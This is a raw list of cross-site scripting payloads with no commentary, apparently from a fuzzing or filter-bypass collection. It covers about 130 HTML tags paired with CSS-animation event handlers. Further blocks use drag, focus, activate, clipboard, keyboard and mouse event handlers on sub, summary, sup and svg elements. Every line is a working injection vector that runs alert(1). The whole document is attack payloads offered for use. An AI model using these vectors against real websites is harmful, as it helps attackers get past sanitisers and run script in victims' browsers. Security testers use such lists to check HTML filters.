<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><abbr id=x style="position:absolute;" onanimationcancel="alert(1)"></abbr>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><acronym id=x style="position:absolute;" onanimationcancel="alert(1)"></acronym>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><address id=x style="position:absolute;" onanimationcancel="alert(1)"></address>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><applet id=x style="position:absolute;" onanimationcancel="alert(1)"></applet>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><area id=x style="position:absolute;" onanimationcancel="alert(1)"></area>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><article id=x style="position:absolute;" onanimationcancel="alert(1)"></article>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><aside id=x style="position:absolute;" onanimationcancel="alert(1)"></aside>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><audio id=x style="position:absolute;" onanimationcancel="alert(1)"></audio>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><b id=x style="position:absolute;" onanimationcancel="alert(1)"></b>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><base id=x style="position:absolute;" onanimationcancel="alert(1)"></base>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><basefont id=x style="position:absolute;" onanimationcancel="alert(1)"></basefont>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><bdi id=x style="position:absolute;" onanimationcancel="alert(1)"></bdi>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><bdo id=x style="position:absolute;" onanimationcancel="alert(1)"></bdo>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><bgsound id=x style="position:absolute;" onanimationcancel="alert(1)"></bgsound>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><big id=x style="position:absolute;" onanimationcancel="alert(1)"></big>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><blink id=x style="position:absolute;" onanimationcancel="alert(1)"></blink>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><blockquote id=x style="position:absolute;" onanimationcancel="alert(1)"></blockquote>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><body id=x style="position:absolute;" onanimationcancel="alert(1)"></body>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><br id=x style="position:absolute;" onanimationcancel="alert(1)"></br>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><button id=x style="position:absolute;" onanimationcancel="alert(1)"></button>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><canvas id=x style="position:absolute;" onanimationcancel="alert(1)"></canvas>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><caption id=x style="position:absolute;" onanimationcancel="alert(1)"></caption>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><center id=x style="position:absolute;" onanimationcancel="alert(1)"></center>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><cite id=x style="position:absolute;" onanimationcancel="alert(1)"></cite>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><code id=x style="position:absolute;" onanimationcancel="alert(1)"></code>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><col id=x style="position:absolute;" onanimationcancel="alert(1)"></col>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><colgroup id=x style="position:absolute;" onanimationcancel="alert(1)"></colgroup>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><command id=x style="position:absolute;" onanimationcancel="alert(1)"></command>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><content id=x style="position:absolute;" onanimationcancel="alert(1)"></content>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><data id=x style="position:absolute;" onanimationcancel="alert(1)"></data>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><datalist id=x style="position:absolute;" onanimationcancel="alert(1)"></datalist>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dd id=x style="position:absolute;" onanimationcancel="alert(1)"></dd>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><del id=x style="position:absolute;" onanimationcancel="alert(1)"></del>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><details id=x style="position:absolute;" onanimationcancel="alert(1)"></details>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dfn id=x style="position:absolute;" onanimationcancel="alert(1)"></dfn>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dialog id=x style="position:absolute;" onanimationcancel="alert(1)"></dialog>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dir id=x style="position:absolute;" onanimationcancel="alert(1)"></dir>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><div id=x style="position:absolute;" onanimationcancel="alert(1)"></div>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dl id=x style="position:absolute;" onanimationcancel="alert(1)"></dl>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dt id=x style="position:absolute;" onanimationcancel="alert(1)"></dt>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><element id=x style="position:absolute;" onanimationcancel="alert(1)"></element>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><em id=x style="position:absolute;" onanimationcancel="alert(1)"></em>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><embed id=x style="position:absolute;" onanimationcancel="alert(1)"></embed>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><fieldset id=x style="position:absolute;" onanimationcancel="alert(1)"></fieldset>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><figcaption id=x style="position:absolute;" onanimationcancel="alert(1)"></figcaption>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><figure id=x style="position:absolute;" onanimationcancel="alert(1)"></figure>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><font id=x style="position:absolute;" onanimationcancel="alert(1)"></font>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><footer id=x style="position:absolute;" onanimationcancel="alert(1)"></footer>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><form id=x style="position:absolute;" onanimationcancel="alert(1)"></form>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><frame id=x style="position:absolute;" onanimationcancel="alert(1)"></frame>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><frameset id=x style="position:absolute;" onanimationcancel="alert(1)"></frameset>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><h1 id=x style="position:absolute;" onanimationcancel="alert(1)"></h1>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><head id=x style="position:absolute;" onanimationcancel="alert(1)"></head>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><header id=x style="position:absolute;" onanimationcancel="alert(1)"></header>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><hgroup id=x style="position:absolute;" onanimationcancel="alert(1)"></hgroup>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><hr id=x style="position:absolute;" onanimationcancel="alert(1)"></hr>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><html id=x style="position:absolute;" onanimationcancel="alert(1)"></html>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><i id=x style="position:absolute;" onanimationcancel="alert(1)"></i>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><iframe id=x style="position:absolute;" onanimationcancel="alert(1)"></iframe>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><image id=x style="position:absolute;" onanimationcancel="alert(1)"></image>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><img id=x style="position:absolute;" onanimationcancel="alert(1)"></img>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><input id=x style="position:absolute;" onanimationcancel="alert(1)"></input>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ins id=x style="position:absolute;" onanimationcancel="alert(1)"></ins>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><isindex id=x style="position:absolute;" onanimationcancel="alert(1)"></isindex>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><kbd id=x style="position:absolute;" onanimationcancel="alert(1)"></kbd>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><keygen id=x style="position:absolute;" onanimationcancel="alert(1)"></keygen>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><label id=x style="position:absolute;" onanimationcancel="alert(1)"></label>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><legend id=x style="position:absolute;" onanimationcancel="alert(1)"></legend>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><li id=x style="position:absolute;" onanimationcancel="alert(1)"></li>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><link id=x style="position:absolute;" onanimationcancel="alert(1)"></link>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><listing id=x style="position:absolute;" onanimationcancel="alert(1)"></listing>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><main id=x style="position:absolute;" onanimationcancel="alert(1)"></main>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><map id=x style="position:absolute;" onanimationcancel="alert(1)"></map>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><mark id=x style="position:absolute;" onanimationcancel="alert(1)"></mark>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><marquee id=x style="position:absolute;" onanimationcancel="alert(1)"></marquee>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><menu id=x style="position:absolute;" onanimationcancel="alert(1)"></menu>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><menuitem id=x style="position:absolute;" onanimationcancel="alert(1)"></menuitem>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><meta id=x style="position:absolute;" onanimationcancel="alert(1)"></meta>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><meter id=x style="position:absolute;" onanimationcancel="alert(1)"></meter>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><multicol id=x style="position:absolute;" onanimationcancel="alert(1)"></multicol>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><nav id=x style="position:absolute;" onanimationcancel="alert(1)"></nav>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><nextid id=x style="position:absolute;" onanimationcancel="alert(1)"></nextid>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><nobr id=x style="position:absolute;" onanimationcancel="alert(1)"></nobr>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><noembed id=x style="position:absolute;" onanimationcancel="alert(1)"></noembed>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><noframes id=x style="position:absolute;" onanimationcancel="alert(1)"></noframes>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><noscript id=x style="position:absolute;" onanimationcancel="alert(1)"></noscript>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><object id=x style="position:absolute;" onanimationcancel="alert(1)"></object>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ol id=x style="position:absolute;" onanimationcancel="alert(1)"></ol>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><optgroup id=x style="position:absolute;" onanimationcancel="alert(1)"></optgroup>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><option id=x style="position:absolute;" onanimationcancel="alert(1)"></option>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><output id=x style="position:absolute;" onanimationcancel="alert(1)"></output>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><p id=x style="position:absolute;" onanimationcancel="alert(1)"></p>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><param id=x style="position:absolute;" onanimationcancel="alert(1)"></param>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><picture id=x style="position:absolute;" onanimationcancel="alert(1)"></picture>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><plaintext id=x style="position:absolute;" onanimationcancel="alert(1)"></plaintext>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><pre id=x style="position:absolute;" onanimationcancel="alert(1)"></pre>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><progress id=x style="position:absolute;" onanimationcancel="alert(1)"></progress>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><q id=x style="position:absolute;" onanimationcancel="alert(1)"></q>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rb id=x style="position:absolute;" onanimationcancel="alert(1)"></rb>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rp id=x style="position:absolute;" onanimationcancel="alert(1)"></rp>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rt id=x style="position:absolute;" onanimationcancel="alert(1)"></rt>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rtc id=x style="position:absolute;" onanimationcancel="alert(1)"></rtc>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ruby id=x style="position:absolute;" onanimationcancel="alert(1)"></ruby>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><s id=x style="position:absolute;" onanimationcancel="alert(1)"></s>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><samp id=x style="position:absolute;" onanimationcancel="alert(1)"></samp>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><script id=x style="position:absolute;" onanimationcancel="alert(1)"></script>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><section id=x style="position:absolute;" onanimationcancel="alert(1)"></section>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><select id=x style="position:absolute;" onanimationcancel="alert(1)"></select>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><shadow id=x style="position:absolute;" onanimationcancel="alert(1)"></shadow>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><slot id=x style="position:absolute;" onanimationcancel="alert(1)"></slot>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><small id=x style="position:absolute;" onanimationcancel="alert(1)"></small>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><source id=x style="position:absolute;" onanimationcancel="alert(1)"></source>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><spacer id=x style="position:absolute;" onanimationcancel="alert(1)"></spacer>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><span id=x style="position:absolute;" onanimationcancel="alert(1)"></span>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><strike id=x style="position:absolute;" onanimationcancel="alert(1)"></strike>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><strong id=x style="position:absolute;" onanimationcancel="alert(1)"></strong>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><style id=x style="position:absolute;" onanimationcancel="alert(1)"></style>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><sub id=x style="position:absolute;" onanimationcancel="alert(1)"></sub>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><summary id=x style="position:absolute;" onanimationcancel="alert(1)"></summary>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><sup id=x style="position:absolute;" onanimationcancel="alert(1)"></sup>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><svg id=x style="position:absolute;" onanimationcancel="alert(1)"></svg>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><table id=x style="position:absolute;" onanimationcancel="alert(1)"></table>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tbody id=x style="position:absolute;" onanimationcancel="alert(1)"></tbody>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><td id=x style="position:absolute;" onanimationcancel="alert(1)"></td>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><template id=x style="position:absolute;" onanimationcancel="alert(1)"></template>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><textarea id=x style="position:absolute;" onanimationcancel="alert(1)"></textarea>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tfoot id=x style="position:absolute;" onanimationcancel="alert(1)"></tfoot>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><th id=x style="position:absolute;" onanimationcancel="alert(1)"></th>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><thead id=x style="position:absolute;" onanimationcancel="alert(1)"></thead>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><time id=x style="position:absolute;" onanimationcancel="alert(1)"></time>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><title id=x style="position:absolute;" onanimationcancel="alert(1)"></title>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tr id=x style="position:absolute;" onanimationcancel="alert(1)"></tr>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><track id=x style="position:absolute;" onanimationcancel="alert(1)"></track>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tt id=x style="position:absolute;" onanimationcancel="alert(1)"></tt>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><u id=x style="position:absolute;" onanimationcancel="alert(1)"></u>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ul id=x style="position:absolute;" onanimationcancel="alert(1)"></ul>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><var id=x style="position:absolute;" onanimationcancel="alert(1)"></var>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><video id=x style="position:absolute;" onanimationcancel="alert(1)"></video>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><wbr id=x style="position:absolute;" onanimationcancel="alert(1)"></wbr>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><xmp id=x style="position:absolute;" onanimationcancel="alert(1)"></xmp>
<style>@keyframes x{}</style><base style="animation-name:x" onanimationend="alert(1)"></base>
<style>@keyframes x{}</style><base style="animation-name:x" onanimationstart="alert(1)"></base>
<style>@keyframes x{}</style><basefont style="animation-name:x" onanimationend="alert(1)"></basefont>
<style>@keyframes x{}</style><basefont style="animation-name:x" onanimationstart="alert(1)"></basefont>
<style>@keyframes x{}</style><bgsound style="animation-name:x" onanimationend="alert(1)"></bgsound>
<style>@keyframes x{}</style><bgsound style="animation-name:x" onanimationstart="alert(1)"></bgsound>
<style>@keyframes x{}</style><isindex style="animation-name:x" onanimationend="alert(1)"></isindex>
<style>@keyframes x{}</style><isindex style="animation-name:x" onanimationstart="alert(1)"></isindex>
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss>
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationstart="alert(1)"></xss>
<sub draggable="true" ondrag="alert(1)">test</sub>
<sub draggable="true" ondragend="alert(1)">test</sub>
<sub draggable="true" ondragenter="alert(1)">test</sub>
<sub draggable="true" ondragleave="alert(1)">test</sub>
<sub draggable="true" ondragstart="alert(1)">test</sub>
<sub id=x tabindex=1 onactivate=alert(1)></sub>
<sub id=x tabindex=1 onbeforeactivate=alert(1)></sub>
<sub id=x tabindex=1 onbeforedeactivate=alert(1)></sub><input autofocus>
<sub id=x tabindex=1 ondeactivate=alert(1)></sub><input id=y autofocus>
<sub onbeforepaste="alert(1)" contenteditable>test</sub>
<sub onblur=alert(1) tabindex=1 id=x></sub><input autofocus>
<sub onclick="alert(1)">test</sub>
<sub oncontextmenu="alert(1)">test</sub>
<sub oncopy="alert(1)" contenteditable>test</sub>
<sub oncut="alert(1)" contenteditable>test</sub>
<sub ondblclick="alert(1)">test</sub>
<sub onfocusout=alert(1) tabindex=1 id=x></sub><input autofocus>
<sub onkeydown="alert(1)" contenteditable>test</sub>
<sub onkeypress="alert(1)" contenteditable>test</sub>
<sub onkeyup="alert(1)" contenteditable>test</sub>
<sub onmousedown="alert(1)">test</sub>
<sub onmouseenter="alert(1)">test</sub>
<sub onmouseleave="alert(1)">test</sub>
<sub onmousemove="alert(1)">test</sub>
<sub onmouseout="alert(1)">test</sub>
<sub onmouseover="alert(1)">test</sub>
<sub onmouseup="alert(1)">test</sub>
<summary draggable="true" ondrag="alert(1)">test</summary>
<summary draggable="true" ondragend="alert(1)">test</summary>
<summary draggable="true" ondragenter="alert(1)">test</summary>
<summary draggable="true" ondragleave="alert(1)">test</summary>
<summary draggable="true" ondragstart="alert(1)">test</summary>
<summary id=x tabindex=1 onactivate=alert(1)></summary>
<summary id=x tabindex=1 onbeforeactivate=alert(1)></summary>
<summary id=x tabindex=1 onbeforedeactivate=alert(1)></summary><input autofocus>
<summary id=x tabindex=1 ondeactivate=alert(1)></summary><input id=y autofocus>
<summary onbeforepaste="alert(1)" contenteditable>test</summary>
<summary onblur=alert(1) tabindex=1 id=x></summary><input autofocus>
<summary onclick="alert(1)">test</summary>
<summary oncontextmenu="alert(1)">test</summary>
<summary oncopy="alert(1)" contenteditable>test</summary>
<summary oncut="alert(1)" contenteditable>test</summary>
<summary ondblclick="alert(1)">test</summary>
<summary onfocusout=alert(1) tabindex=1 id=x></summary><input autofocus>
<summary onkeydown="alert(1)" contenteditable>test</summary>
<summary onkeypress="alert(1)" contenteditable>test</summary>
<summary onkeyup="alert(1)" contenteditable>test</summary>
<summary onmousedown="alert(1)">test</summary>
<summary onmouseenter="alert(1)">test</summary>
<summary onmouseleave="alert(1)">test</summary>
<summary onmousemove="alert(1)">test</summary>
<summary onmouseout="alert(1)">test</summary>
<summary onmouseover="alert(1)">test</summary>
<summary onmouseup="alert(1)">test</summary>
<sup draggable="true" ondrag="alert(1)">test</sup>
<sup draggable="true" ondragend="alert(1)">test</sup>
<sup draggable="true" ondragenter="alert(1)">test</sup>
<sup draggable="true" ondragleave="alert(1)">test</sup>
<sup draggable="true" ondragstart="alert(1)">test</sup>
<sup id=x tabindex=1 onactivate=alert(1)></sup>
<sup id=x tabindex=1 onbeforeactivate=alert(1)></sup>
<sup id=x tabindex=1 onbeforedeactivate=alert(1)></sup><input autofocus>
<sup id=x tabindex=1 ondeactivate=alert(1)></sup><input id=y autofocus>
<sup onbeforepaste="alert(1)" contenteditable>test</sup>
<sup onblur=alert(1) tabindex=1 id=x></sup><input autofocus>
<sup onclick="alert(1)">test</sup>
<sup oncontextmenu="alert(1)">test</sup>
<sup oncopy="alert(1)" contenteditable>test</sup>
<sup oncut="alert(1)" contenteditable>test</sup>
<sup ondblclick="alert(1)">test</sup>
<sup onfocusout=alert(1) tabindex=1 id=x></sup><input autofocus>
<sup onkeydown="alert(1)" contenteditable>test</sup>
<sup onkeypress="alert(1)" contenteditable>test</sup>
<sup onkeyup="alert(1)" contenteditable>test</sup>
<sup onmousedown="alert(1)">test</sup>
<sup onmouseenter="alert(1)">test</sup>
<sup onmouseleave="alert(1)">test</sup>
<sup onmousemove="alert(1)">test</sup>
<sup onmouseout="alert(1)">test</sup>
<sup onmouseover="alert(1)">test</sup>
<sup onmouseup="alert(1)">test</sup>
<svg draggable="true" ondrag="alert(1)">test</svg>
<svg draggable="true" ondragend="alert(1)">test</svg>
<svg draggable="true" ondragenter="alert(1)">test</svg>
<svg draggable="true" ondragleave="alert(1)">test</svg>
<svg draggable="true" ondragstart="alert(1)">test</svg>
<svg id=x tabindex=1 onactivate=alert(1)></svg>
<svg id=x tabindex=1 onbeforeactivate=alert(1)></svg>
<svg id=x tabindex=1 onbeforedeactivate=alert(1)></svg><input autofocus>
